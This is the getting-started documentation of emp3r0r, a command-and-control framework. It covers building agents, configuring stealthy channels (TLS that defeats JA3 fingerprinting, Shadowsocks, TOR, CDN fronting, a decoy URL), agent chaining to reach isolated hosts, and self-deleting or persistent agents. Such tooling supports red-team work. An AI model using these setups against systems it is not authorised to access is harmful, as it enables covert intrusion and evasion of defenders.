Getting started

Overview

emp3r0r is a C2 framework that enables remote management of targets (agents) via a terminal UI. It supports a variety of transport mechanisms for secure communication.

Key Features:

• Secure Transport: HTTP2 via TLS, Shadowsocks (TCP/UDP), TOR, CDN via Websocket.
• Cross-Platform: Supports Linux on all CPU architectures, Windows (386/amd64).
• Flexible Configuration: Customizable installation paths, agent generation, and communication methods.

---

Installation

1. Download and Install

• Option 1: Clone and build from source:

  git clone https://github.com/jm33-m0/emp3r0r.git && cd ./emp3r0r/core && ./emp3r0r --release

• Option 2: Download the latest release from emp3r0r releases.
  • Extract files and install:

    ./emp3r0r --install

2. Custom Installation

• By default, emp3r0r installs to /usr/local/lib/emp3r0r.
• To install in a custom directory:

  PREFIX=/custom/path ./emp3r0r --install

3. Launch C2 UI Ensure tmux is installed to view the terminal UI. On the first run, a server certificate is generated, requiring input for the C2 server's name.

---

Configuring and Running emp3r0r C2

1. Start C2 Server

• After installation, run the following command to launch the C2 UI:

  emp3r0r

2. Generate Agent Executables

• Enter the agent builder:

  use gen_agent

• Set desired options for the agent using the set <option> <value> command:
  • Example: Set the C2 server address:

    set cc_host example.com

• Once configurations are set, generate the agent binary:

  run

• The agent binary will be saved in ~/.emp3r0r.

3. Upgrade Agents To upgrade an agent on a connected target:

upgrade_agent

---

Communication Methods

1. HTTP2 via TLS (Default - Defeats JA3 Fingerprinting)

• Secure communication using HTTP2 over TLS is enabled by default.
• Defeats JA3 Fingerprinting: The traffic is obfuscated to avoid detection by SSL/TLS client fingerprinting techniques like JA3.

2. Shadowsocks with Optional KCP

• Shadowsocks: Obfuscates traffic using the AEAD_CHACHA20_POLY1305 cipher, making it difficult to detect.
• KCP: Can be optionally enabled for UDP traffic optimization.
  • To enable Shadowsocks with KCP:

    set shadowsocks on

  • To enable Shadowsocks without KCP:

    set shadowsocks bare

3. TOR (Onion Routing)

• Setting Up a TOR Hidden Service: To use TOR with emp3r0r, set up a hidden service on your server.

  • Example TOR configuration (/etc/tor/torrc):

    HiddenServiceDir /var/lib/tor/hidden_service/
    HiddenServicePort 443 127.0.0.1:8000
    

    Here, 8000 is the C2 port, and 443 is the hidden service port. Note: Keep port 443 as it’s hardcoded in emp3r0r for TOR.
  • After configuration, retrieve your onion domain:

    sudo cat /var/lib/tor/hidden_service/hostname

    This will give you the .onion address, for example: cc.onion.

• Generating Agent for TOR: When generating the agent, use the TOR .onion address as the C2 server address:

  set cc_host cc.onion

  This ensures the agent connects through TOR. Ensure TOR proxy (socks5://127.0.0.1:9050) is running on the target system before launching the agent.

• Running Agent with TOR:

  • By default, the agent uses the local TOR proxy at 127.0.0.1:9050. Run the TOR proxy and then start the agent:

    ./agent

4. CDN via Websocket

• Setting Up CDN: To use CDN, first configure a CDN provider (e.g., Cloudflare) to forward websocket traffic to your C2 server.

  • The typical architecture looks like this:

    agent -> socks5 -> CDN -> Nginx -> emp3r0r websocket server -> CC
    

  • Nginx should proxy websocket traffic to the emp3r0r C2 server. Example Nginx config:

    location /emp3r0r {
        proxy_pass http://127.0.0.1:9000/ws;
        proxy_redirect off;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $http_host;
    
        # Show real IP
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    

• Generating Agent for CDN: When generating the agent, use your domain as the C2 server address. For example, if you are using Cloudflare:

  set cc_host wss://yourcdn.com/emp3r0r

• Running the C2 Server with CDN Support: On your C2 server, enable CDN support using the following command:

  emp3r0r -cdn2proxy 9000

  Here, 9000 is the websocket server's listening port.

5. Upstream Proxy

• Proxy Support: emp3r0r agents can connect to the C2 server through upstream proxies, including HTTP or SOCKS proxies. Set the proxy address when generating the agent.

---

Agent Options and Features

1. C2 Indicator

• Configure a "legit" URL (e.g., https://github.com) to hide C2 traffic. The agent checks this URL to decide whether to connect to the C2 server.

2. Auto Proxy

• Agents can communicate and form a proxy chain using UDP broadcasting. This allows agents without direct internet access to route traffic through other connected agents.

3. DNS over HTTPS (DoH)

• Agents can use DNS over HTTPS to securely resolve domain names for C2 connections.

---

Command-Line Options and Environment Variables

• VERBOSE=true: Enable logging for agents.
• PERSISTENT=true: Prevent agent from self-deleting.
• REPLACE_AGENT=true: Replace existing agent process on the target.
• ELVSH=true: Run the agent as an interactive elvsh shell.
• -version: View agent version.

---

Advanced Features

1. Bring Agents to C2

• This feature allows one connected agent to proxy another agent (which cannot directly connect to C2) by acting as an intermediary.
  • Example Command:

    use bring2cc
    set target 192.168.1.10

---

Running Agents

1. Direct Connection (Defeats JA3 Fingerprinting)

• Run the agent binary directly on the target system:

  ./agent

2. TOR Connection

• Start a TOR proxy on the target system, and then run the agent:

  ./agent

3. CDN Connection

• Use your domain name as the C2 server and specify the CDN proxy when generating the agent:

  set cc_host wss://yourcdn.com/emp3r0r